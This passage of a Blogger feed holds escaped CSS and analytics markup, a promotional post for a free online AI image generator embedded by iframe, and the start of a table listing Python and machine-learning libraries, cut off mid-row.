.nc-cc-arrow-1{border-width:16px;margin-top:-1px}.nc-container .nc_scale .nc-cc-arrow-2{border-width:15px}.nc-container .nc_scale .nc-cc-right .nc-cc-arrow-1,.nc-container .nc_scale .nc-cc-left .nc-cc-arrow-1,.nc-container .nc_scale .nc-cc-right .nc-cc-arrow-2,.nc-container .nc_scale .nc-cc-left .nc-cc-arrow-2{display:block;_display:none}.nc-container .nc_scale .nc-cc-right{left:180px;top:-339px;}.nc-container .nc_scale .nc-cc-right .nc-cc-arrow-1{border-right-color:#5eaef1;left:-32px}.nc-container .nc_scale .nc-cc-right .nc-cc-arrow-2{border-right-color:#fff;left:-30px}.nc-container .nc_scale .nc-cc-left{left:-335px;top:-339px;}.nc-container .nc_scale .nc-cc-left .nc-cc-arrow-1{border-left-color:#5eaef1;right:-32px}.nc-container .nc_scale .nc-cc-left .nc-cc-arrow-2{border-left-color:#fff;right:-30px}&lt;/style&gt;   
    
    

    &lt;style&gt;
        #saasbox-nav {
            position: fixed;
            z-index: 2000;
            height: 75px;
            min-height: 75px;
            background-color: #FFFFFF;
            border-color: #FFFFFF;
            top: 0;
            box-shadow: 0 10px 10px -6px rgba(170, 170, 170, 0.32);
        }
        #saasbox-nav .nav {
            flex-wrap: nowrap!important;
        }
        #saasbox-nav .nav-navbar .nav-item {
            white-space: nowrap;
        }
        #saasbox-nav .nav-height {
            line-height: inherit;
        }
        #saasbox-nav .nav-item &gt; .nav-link {
            color: #000000;
            padding: 0;
            height: 100%;
            line-height: inherit;
            box-sizing: border-box;
            -webkit-transition: none;
            transition: none;
        }

        .nav-link:hover {
            color: #555;
        }

        .three_level_arrow {
            position: absolute;
            right: 1.25rem;
            /* top: 50%;
            margin-top: -2px; */
            font-style: normal;
            /* border: none; */
            opacity: 0.7;
            width: 5px;
            height: 5px;
            border-top: 1px solid rgba(117,117,117,0.8);
            border-right: 1px solid rgba(117,117,117,0.8);
            border-top-width: 1px !important;
            transform: rotate(45deg); 

        }
        #saasbox-nav .nav-item &gt; .nav-link .arrow {
            border-top: 3px solid#000000;
            vertical-align: middle;
        }
        #saasbox-nav .nav-navbar .nav {
            display: none;
            max-height: calc(100vh - 100px);
            overflow-y: auto;
        }
        .nav-navbar .nav .nav-link {
            line-height: 40px;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
        }
        .vertical-align-middle {
            transform: translateY(-50%);
            position: relative;
            top: 50%;
        }
        .sbox-carousel .vertical-align-middle {
            transform: none !important;
            position: relative;
            top: 50%;
        }
        #saasbox-nav .navbar-brand img {
                        height: 66px;
                        max-height: 75px;
        }
        #saasbox-nav .nav&gt;li&gt;a:hover {
            background: none !important;
        }
        .layout-container {
            margin-top: 75px;
        }
        #saasbox_page_content .main-content&gt;.container:first-child {
            margin-top: 3rem;
        }
        @media (min-width: 992px) {
            #saasbox-nav .nav-hover .nav-link {
                border-bottom: 2px solid transparent;
            }
            #saasbox-nav .nav-hover:hover .nav-link,#saasbox-nav .nav-actived .nav-link {
                border-bottom: 2px solid #000000;
            }
            #saasbox-nav .nav-height {
                height: 55px;
                line-height: 55px;
            }
        }
        nav.nav a.nav-link:hover {
            background: #f5f5f5;
        }
        .second_level:hover {
            background: #f5f5f5;
        }
        /* nav li:hover {
            background: #f5f5f5;
        } */

        nav.nav a.nav-link:hover+.nav {
            display: block!important;
        }

        #saasbox-nav .nav-navbar .nav-item .nav&gt;li:hover&gt;nav{
            display: block!important;
        }

        #saasbox-nav .nav-navbar .nav-item .nav&gt;li&gt;nav{
            display: none!important;
        }

        #saasbox-nav .nav-navbar .nav-item .nav{
            overflow:visible;
        }

        nav.nav.px-lg.py-lg-4::-webkit-scrollbar{
            width: 0.5px;
            height: 10px;
        }

        nav.nav.px-lg.py-lg-4::-webkit-scrollbar-thumb{
            /* background-color: #fff; */
            /* -webkit-border-radius: 0; */
            /* width: 3px; */
            height: 31px;
            background: gray;
            border-radius: 10px;
        }

        nav.nav a.nav-link+.nav {
            display: none!important;
        }

        #saasbox-nav .nav-navbar .nav-item:hover&gt;.nav {
            display: block!important;
        }

        #saasbox-nav .nav-navbar .nav-item nav li a:hover+.nav {
            display: block!important;
        }

        #saasbox-nav .nav-navbar .nav-item nav li a+.nav {
            display: none!important;
        } 
        

        #saasbox-nav .nav-navbar .nav-item&gt;.nav {
            display: none!important;
        }

        @media (max-width: 1280px) {
            .nav-right &gt; li:last-child &gt; .nav {
                right: -20px;
            }
        }
        @media (min-width: 991.98px) {
            .nav-carousel-mobile {
                display: none;
            }
        }
        .nav-carousel-mobile {
            position: absolute;
            right: 0px;
        }
        @media (max-width: 991.98px) {
            #saasbox-nav .nav-item {
                height: auto!important;
            }

            .nav-link {
                display: block;
                padding: 0.5rem 1rem;
            }
            #saasbox-nav .nav-item &gt; .nav-link {
                color: rgba(117,117,117,0.8);
                height: inherit;
                line-height: inherit;
                padding: 0.5rem;
                margin: 0 !important;
            }
            #saasbox-nav .nav-hover:hover,#saasbox-nav .nav-type-button:hover {
                background: #f5f5f5; 
            }
            #saasbox-nav .nav-item:hover .nav-link{
                color: #555;
            }
            #saasbox-nav .nav-item &gt; .nav-link .arrow {
                border-top: 3px solid rgba(117, 117, 117, 0.8);
            }

            #saasbox-nav .nav-type-button .vertical-align-middle {
                transform: inherit;
                position: inherit;
                top: inherit;
            }

            #saasbox-nav .nav-type-button .saasbox-btn {
                border: inherit !important;
                color: inherit !important;
                border-radius: inherit !important;
                padding: 0 !important;
                line-height: inherit !important;
                background-color: inherit !important;
            }

            #saasbox-nav .nav-type-icon &gt; div {
                color: inherit !important;
            }

            #saasbox-nav .nav-type-icon &gt; div &gt; .arrow {
                border-top: 3px solid rgba(117, 117, 117, 0.8)!important;
            }
            #saasbox-nav .nav-item-carousel-pc {
                display: none;
            }
            #layout-footer .footer-logo {
                max-height: 50px;
            }
        }
        .navbar-toggler {
            margin-right: 0px;
        }
        .py-7 {
            padding-top: 1.25rem !important;
        }
        .footer {
            overflow: hidden;
        }
        .row.gap-y&gt;[class*=&quot;col-&quot;] {
            padding-top: 5px;
            padding-bottom: 0px;
        }
        #saasbox-nav .saasbox-btn-corner-ad {
            background-color: #FECC6D !important;
            display: inline-block;
            position: absolute;
            bottom: -6px;
            left: -6px;
            transform: scale(0.6);
            height: 25px;
            width: 25px;
            line-height: 25px;
            font-size: 14px;
            border-radius: 6px;
            color: white;
        }
        .sbox-carousel-hover {
            display:none;
            padding: 10px;
            width: 240px;
            border-radius: 5px;
            box-shadow: 0 0px 1px 1px #cccccc85;
            position: absolute;
            background: white;
            left:20px;
            line-height:1.5;
            white-space: normal;
            word-wrap: break-word;
        }
        .sbox-carousel-hover::before {
            content: &#39;&#39;;
            position: absolute;
            z-index: 1;
            top: -5px;
            left: 30px;
            display: block;
            width: 0;
            height: 0;
            border: 5px solid #fff;
            border-top: 0;
            border-left-color: transparent;
            border-right-color: transparent;
        }
        .sbox-carousel-hover::after {
            content: &#39;&#39;;
            position: absolute;
            top: -6px;
            left: 28px;
            display: block;
            width: 0;
            height: 0;
            border: 7px solid rgba(240, 240, 240, 0.5);
            border-top: 0;
            border-left-color: transparent;
            border-right-color: transparent;
        }
        .sbox-carousel-hover img {
            height:25px;
            width:25px;
        }
        .sbox-carousel-hover a {
            margin-left:10px;
            text-decoration: underline;
            font-size: 17px;
        }
        .sbox-nav-carousel-link-mobile {
            display:block;
            font-weight: 600;
            text-transform: uppercase;
            letter-spacing: 1px;
            font-size: 0.87em;
            word-spacing: 2px;
            padding-left: 1.125rem;
            padding-right: 1.125rem;
        }
        .sbox-carousel-hover p {
            font-size: 12px;
            line-height: 15px;
            margin-bottom: 0px;
            line-height:1.5;
        }
        .saasbox-container {
            width: 100% !important;
            max-width: 1250px;
            margin: 0 auto;
        }

        .fa {
            font-size: 16px;
            vertical-align: middle;
        }
        .footer .social-btn-container .vertical-align-middle {
            transform: inherit;
            position: inherit;
            top: inherit;
        }
        .footer .social-btn-container {
            /*margin-top: 15px;*/
            margin-bottom: 10px;
            font-weight: 600;
            width: fit-content;
            margin-left: auto;
            margin-right: auto;
        }
        .footer .social .fa {
            margin-top: -4px;
        }
        .nav-line {
            margin: 0 5px;
            border-top: 1px solid #e7e8ec;
        }

        .panel-second-level-menu {
            line-height: 40px;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
            text-transform: none;
            padding-top: 0.25rem;
            padding-bottom: 0.25rem;
            letter-spacing: .5px;
            font-size: .87em;
            word-spacing: 2px;
            padding-left: 1.125rem;
            padding-right: 1.125rem;
            display: block;
        }
        

        #saasbox-nav .nav-user-img {
            float: left;
            margin-right: 8px;
            width: 48px;
            height: 48px;
            font-size: 48px;
            color: rgba(117,117,117,0.8);
            border-radius: 50%;
        }
        .nav-user-info {
            float: left;
            line-height: 30px;
        }
        .nav-user-info p {
            margin-bottom: 0;
            overflow: hidden;
            text-overflow:ellipsis;
            white-space: nowrap;
        }
        #layout-footer {
            background-color: #fafafa;
        }
        #layout-footer .footer-logo {
                        height: 66px;
                        max-height: 100px;
        }
        #layout-footer h6 {
            color: #111;
        }
        #layout-footer a {
            color: #888 !important;
        }
        #layout-footer p {
            color: #888;
        }
        #layout-footer .social-bordered a {
            border: 1px solid #888;
        }
        #layout-footer .dropup span {
            color: #888 !important;
        }
        #layout-footer .dropup a {
            color: #000 !important;
        }
        #layout-footer .social.social-bordered a {
            overflow: hidden;
        }
        #layout-footer .fa-discord {
            background: url(&quot;https://zbase-global.zingfront.com/zbase/test/2021/discord-line.svg&quot;);
            position:relative;
            left: -33px;
            -webkit-filter:drop-shadow(32px 0 #888);
            filter:drop-shadow(32px 0 #888);
            background-size: 100% 100%;
            width: 32px;
            height: 32px;
        }
        #layout-footer .dropdown-menu {
            background-color: #FFF !important;
        }
        #layout-footer .dropup .dropdown-toggle {
            pointer-events: none;
        }
        .navbar-dark .navbar-toggler, .navbar-stick-dark.stick .navbar-toggler {
            color: #000000;
        }
        .navbar-light .navbar-toggler, .navbar-stick-light.stick .navbar-toggler {
            color: #000000;
        }
        .navbar-light .navbar-divider, .navbar-stick-light.stick .navbar-divider {
            background-color: #000000;
            opacity: 1;
        }
        .nav-user-profile {
            width: max-content;
        }
        .nav-user-info__name {
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
            -webkit-box-orient: vertical;
            width: 100px;
        }
        .nav-user-info__plan {
            border: 1px solid;
            border-radius: 6px;
            text-align: center;
            width: max-content;
            padding: 0 8px;
        }
        .nav-user-plan-icon {
            vertical-align: sub;
            margin-left: 5px;
            whdth: 20px!important;
        }
        .bs-tooltip-bottom .arrow::before {
            border-bottom-color: #FFFFFF;
        }
        .bs-tooltip-bottom .tooltip-inner {
            color: #5A5A5A;
            background-color: #FFFFFF;
            box-shadow: 0 0 3px 3px #ddd;
        }

        .trigger {
            position: relative;
            text-align: center;
        }

        .popup-custom {
            position: absolute;
            left: 0;
            background: none;
            border-radius: 100px;
            width: 100%;
            top: 83px;
            display: none;
        }

        .popup-custom:before {
            content: &quot;&quot;;
            width: 15px;
            height: 15px;
            transform: rotate(-45deg);
            background: #fff;
            position: absolute;
            box-shadow: 1px 4px 8px rgba(0, 0, 0, 0.5);
            z-index: -1;
            top: -2px;
            left: calc(50% - 10px);
        }

        .inner {
            background-color: #fff;
            border-radius: 5px;
            text-align: center;
            width: max-content;
            margin: 0 auto;
            padding: 0 20px;
            box-shadow: 2px 2px 8px rgba(0, 0, 0, 0.2);
        }
        html,body{
            height:auto
        }
        .site-statement {
            text-align: center;
            margin-bottom: -43px;
        }
        .site-statement hr {
            margin: 0px;
        }
        #layout-footer .site-statement p {
            font-size: 12px;
            margin-bottom: 0px;
            color: rgba(8,8,8,0.5);
        }
        #layout-footer .footer-content {
            margin-bottom: 15px;
        }
        .crisp-client {
            z-index: 1999;
        }
            &lt;/style&gt;
  
    &lt;!-- Favicons --&gt;

            &lt;script&gt;
                window.dataLayer = window.dataLayer || [];
                function gtag(){dataLayer.push(arguments);}
                gtag(&#39;js&#39;, new Date());
                gtag(&#39;config&#39;, &#39;UA-131380923-4&#39;);
            &lt;/script&gt;&lt;script&gt;
            var _hmt = _hmt || [];
            (function() {
              var hm = document.createElement(&#39;script&#39;);
              hm.src = &#39;https://hm.baidu.com/hm.js?abc&#39;;
              var s = document.getElementsByTagName(&#39;script&#39;)[0];
              s.parentNode.insertBefore(hm, s);
            })();
            &lt;/script&gt;
 &lt;script src=&quot;https://client.crisp.chat/l.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;&lt;link href=&quot;https://client.relay.crisp.chat&quot; rel=&quot;dns-prefetch&quot; crossorigin=&quot;&quot;&gt;&lt;link href=&quot;https://client.crisp.chat&quot; rel=&quot;preconnect&quot; crossorigin=&quot;&quot;&gt;&lt;script src=&quot;https://client.crisp.chat/static/javascripts/client.js?1f94bd5&quot; type=&quot;text/javascript&quot; async=&quot;&quot;&gt;&lt;/script&gt;
  &lt;link href=&quot;https://client.crisp.chat/static/stylesheets/client_default.css?1f94bd5&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot;&gt;
  


  &lt;/head&gt;

  
  
  
  
  
  
  &lt;body&gt;
  &lt;script&gt;
    $(document).ready(function() {
      $(&#39;#iframeID&#39;).on(&#39;load&#39;, function() {
        $(&#39;#iframeID&#39;).contents().find(&#39;#component-1&#39;).hide();
      });
    });
  &lt;/script&gt;



  
&lt;iframe id=&quot;iframeID&quot; src=&quot;https://app.yimeta.ai/nsfw-ai-art-generator/?__theme=dark&quot; style=&quot;margin: 0 auto;&quot; width=&quot;100%&quot; height=&quot;1000&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;

 
  &lt;script&gt;
  window.addEventListener(&quot;DOMContentLoaded&quot;, function() {
    var iframe = document.getElementById(&quot;iframeID&quot;);
    var urls = [
      &quot;https://app.yimeta.ai/ai-pose-generator/?__theme=dark&quot;,
      &quot;https://app.yimeta.ai/ai-art-generator/?__theme=dark&quot;,
      &quot;https://app.yimeta.ai/nsfw-ai-art-generator/?__theme=dark&quot;
    ];
    var currentIndex = Math.floor(Math.random() * urls.length);

    iframe.src = urls[currentIndex];
  });
&lt;/script&gt; 

  


&lt;u&gt;Free AI Generator Online (No need to login, No need to pay, No need to install anything): Unveiling the Unlikely Journey of AI&lt;/u&gt;

&lt;h2&gt;&lt;i&gt;Introduction:&lt;/i&gt;&lt;/h2&gt;
&lt;p&gt;
  &lt;b&gt;Artificial Intelligence (AI)&lt;/b&gt; has undergone an unexpected transformation, deviating from the dystopian fears inspired by movies like &lt;i&gt;Terminator&lt;/i&gt;. In a twist of fate, AI has become a catalyst for artistic expression and creative revolutions. This blog post explores how AI has taken an unconventional path, its impact on various industries, and introduces the &lt;u&gt;Free AI Generator Online&lt;/u&gt;. Discover how this innovative tool, along with other AI-powered platforms, generates prompts to inspire your creativity, all without the need for login, payment, or installations.
&lt;/p&gt;

&lt;h2&gt;&lt;i&gt;The Unforeseen Artistic Approach:&lt;/i&gt;&lt;/h2&gt;
&lt;p&gt;
  Contrary to popular belief, AI has found its home in the realm of creativity and art, surprising many who anticipated a different outcome. It all began with projects like Google&#39;s &lt;b&gt;CoLab&lt;/b&gt;, providing users with a canvas for exploring AI-generated artwork. This ignited a groundbreaking movement that transcended traditional art forms, leading to unforeseen artistic possibilities.
&lt;/p&gt;

&lt;h2&gt;&lt;i&gt;Enter the NFT Revolution:&lt;/i&gt;&lt;/h2&gt;
&lt;p&gt;
  The rise of &lt;b&gt;Non-Fungible Tokens (NFTs)&lt;/b&gt; has become a significant turning point in the fusion of AI and art. Platforms such as &lt;b&gt;Decoded&lt;/b&gt; and &lt;b&gt;Midjourney&lt;/b&gt; emerged, enabling artists to showcase and sell their AI-generated masterpieces. This unique blend of AI and blockchain technology revolutionized the art world, captivating both established artists and aspiring creators alike.
&lt;/p&gt;

&lt;h2&gt;&lt;i&gt;Introducing the Free AI Generator Online:&lt;/i&gt;&lt;/h2&gt;
&lt;p&gt;
  At the forefront of this artistic AI revolution is the &lt;u&gt;Free AI Generator Online&lt;/u&gt;. This powerful tool provides users with randomly generated AI prompts, sparking inspiration for creative endeavors of all kinds. With no login requirements, no payment needed, and no installations necessary, this user-friendly platform offers seamless access to AI-generated ideas. Additionally, it encourages users to contribute their own prompts, fostering a collaborative community of creative thinkers.
&lt;/p&gt;

&lt;h2&gt;&lt;i&gt;Expanding the AI Prompt Universe:&lt;/i&gt;&lt;/h2&gt;
&lt;p&gt;
  In addition to the &lt;u&gt;Free AI Generator Online&lt;/u&gt;, other platforms have emerged to further expand the possibilities of AI-generated prompts. Websites like &lt;b&gt;Civitai.com&lt;/b&gt; and &lt;b&gt;Lexica.art&lt;/b&gt; provide diverse prompt options, catering to various artistic genres and interests. These platforms empower users to explore new horizons and push the boundaries of their creativity with the aid of AI.
&lt;/p&gt;

&lt;h2&gt;&lt;i&gt;Conclusion:&lt;/i&gt;&lt;/h2&gt;
&lt;p&gt;
  AI&#39;s unexpected journey has taken it far from the predicted dystopian future. Instead, it has become a valuable tool for artists, sparking a wave of creativity in the art world, driven by NFTs and innovative platforms like the &lt;u&gt;Free AI Generator Online&lt;/u&gt;. Embrace the power of AI to unlock your imagination and explore new artistic frontiers. With no login required, no payment necessary, and no installations needed, you have everything to gain from this accessible and inspiring AI-powered tool.
&lt;/p&gt;

  &lt;/body&gt;
&lt;/html&gt;</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/2951062106128394700/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2023/06/free-ai-generator-online-no-need-to.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/2951062106128394700'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/2951062106128394700'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2023/06/free-ai-generator-online-no-need-to.html' title='Free AI Generator Online (No need to login, No need to pay, No need to install anything): Unveiling the Unlikely Journey of AI'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-4631323210249760916</id><published>2022-04-01T05:16:00.006-07:00</published><updated>2022-04-01T05:38:51.138-07:00</updated><title type='text'>The Python libraries that I need to learn for competitive programming</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWJwGnfm6Q2-cjCbWhOuFuwuLjsWFu8DiQXLj_TVJPBdLj1O-6jtiFLC6R2kOupDACSwA4DQx6YlixrLiBjoNkotp66Ywuk4m2oP5btFHAvMHkXZt9ysp6-3SQ7YN9lX4NUwFNGl2MKB3JLQCLbllBUKn5wlF85iAZqpeoweGEe7Z-_TcICXtzKfIn/s1600/pydev.png&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;The Python libraries that I need to learn for competitive programming&quot; title=&quot;Best Python Libraries&quot; border=&quot;0&quot; data-original-height=&quot;1280&quot; data-original-width=&quot;1280&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWJwGnfm6Q2-cjCbWhOuFuwuLjsWFu8DiQXLj_TVJPBdLj1O-6jtiFLC6R2kOupDACSwA4DQx6YlixrLiBjoNkotp66Ywuk4m2oP5btFHAvMHkXZt9ysp6-3SQ7YN9lX4NUwFNGl2MKB3JLQCLbllBUKn5wlF85iAZqpeoweGEe7Z-_TcICXtzKfIn/s1600/pydev.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;

&lt;style&gt;
#customers {
  font-family: Arial, Helvetica, sans-serif;
  border-collapse: collapse;
  width: 100%;
  color: black;
  
}

#customers td, #customers th {
  border: 5px solid #FF9D7C;
  padding: 8px;
  font-size:80%; 
  max-width: 150px;
  overflow: hidden;
  min-height: 1.2em;
}

#customers tr:nth-child(even){background-color: #F7F7F7;}
#customers tr:nth-child(odd){background-color: #DDDDDD;}
#customers tr:hover {background-color: #FF9D7C;color:white;}

#customers th {
  padding-top: 12px;
  padding-bottom: 12px;
  text-align: left;
  background-color: #F16334;
  color: white;

}
&lt;/style&gt;

&lt;p&gt;There are atleast 32 Python Libraries You need to learn to become a full fledged programmer are as follows.&lt;/p&gt;

&lt;table border=&quot;1&quot; class=&quot;table table-striped table-bordered table-hover table-condensed&quot; id=&quot;customers&quot;&gt;&lt;thead&gt;&lt;tr&gt;&lt;th title=&quot;Field #0&quot;&gt;Python Libraries &lt;/th&gt;&lt;th title=&quot;Field #1&quot;&gt;Stands for&lt;/th&gt;&lt;th title=&quot;Field #2&quot;&gt;for Machine Learning (ML)&lt;/th&gt;&lt;th title=&quot;Field #3&quot;&gt;Types&lt;/th&gt;&lt;th title=&quot;Field #4&quot;&gt;Used for&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Apriori&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Algorithm&lt;/td&gt;&lt;td&gt;Mining frequent itemsets and devising association rules from a transactional database.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;BeautifulSoup&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;Data Mining/Scraping&lt;/td&gt;&lt;td&gt;Scraping data from web&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Bokeh&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Library&lt;/td&gt;&lt;td&gt;Creating interactive visualizations for modern web browsers&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Caffe&lt;/td&gt;&lt;td&gt;Convolutional Architecture for Fast Feature Embedding&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Framework&lt;/td&gt;&lt;td&gt;Academic research projects&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Core Python&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;Python Library&lt;/td&gt;&lt;td&gt;Includes all the core fucntionalities of python&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;DTs&lt;/td&gt;&lt;td&gt;Decision Trees&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Algorithm&lt;/td&gt;&lt;td&gt;Classification and regression&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Eli5&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Framework&lt;/td&gt;&lt;td&gt;Inspect ML classifiers and explain their predictions&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Hierarchical Clustering&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Algorithm&lt;/td&gt;&lt;td&gt;Method to analyze social network data&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Keras&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Framework&lt;/td&gt;&lt;td&gt;Creating deep models which can be productized on smartphones &amp;amp; distributed training of deep learning models. Used by companies such as Netflix&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;K-Mean Clustering&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Algorithm&lt;/td&gt;&lt;td&gt;Find groups which have not been explicitly labeled in the data&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;KNN&lt;/td&gt;&lt;td&gt;K-Nearest Neighbors&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Algorithm&lt;/td&gt;&lt;td&gt;Classification (most commonly) and regression&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;LightGBM&lt;/td&gt;&lt;td&gt;Light Gradient Boosting Machine&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;Ranking&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Linear Regression&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Algorithm&lt;/td&gt;&lt;td&gt;To predict the value of a variable based on the value of another variable.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Logistic Regression&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Algorithm&lt;/td&gt;&lt;td&gt;Understand the relationship between the dependent variable and one or more independent variables by estimating probabilities using a logistic regression equation.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Matplotlib&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Library&lt;/td&gt;&lt;td&gt;Data visualization and graphical plotting library for Python and its numerical extension NumPy&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Naive Bayes&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Algorithm&lt;/td&gt;&lt;td&gt;Predict the probability of different class based on various attributes.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Numpy&lt;/td&gt;&lt;td&gt;Numerical Python&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;Math Calculation&lt;/td&gt;&lt;td&gt;Math Calculation&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Pandas&lt;/td&gt;&lt;td&gt;Python Data Analysis Library&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;Edit/View Data&lt;/td&gt;&lt;td&gt;Data analysis and associated manipulation of tabular data in Dataframes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Plotly&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;Edit/View Data&lt;/td&gt;&lt;td&gt;Create beautiful interactive web-based visualizations on Jupyter Notebook.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;PyCaret&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;Machine Learning&lt;/td&gt;&lt;td&gt;Automates machine learning workflows&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;PyTorch&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Framework&lt;/td&gt;&lt;td&gt;Applications of research&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Random Forest&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;Decision tree Algorithms&lt;/td&gt;&lt;td&gt;Classification and regression problems&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;RegEx&lt;/td&gt;&lt;td&gt;Regular Expression&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;Python Library&lt;/td&gt;&lt;td&gt;To check if a string contains the specified search pattern.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;Sklearn&lt;/td&gt;&lt;td&gt;Scikit-learn&lt;/td&gt;&lt;td align=&quot;center&quot;&gt;✔️&lt;/td&gt;&lt;td&gt;ML Library&lt;/td&gt;&lt;td&gt;Contains a lot of efficient tools for machine learning and statistical modeling including 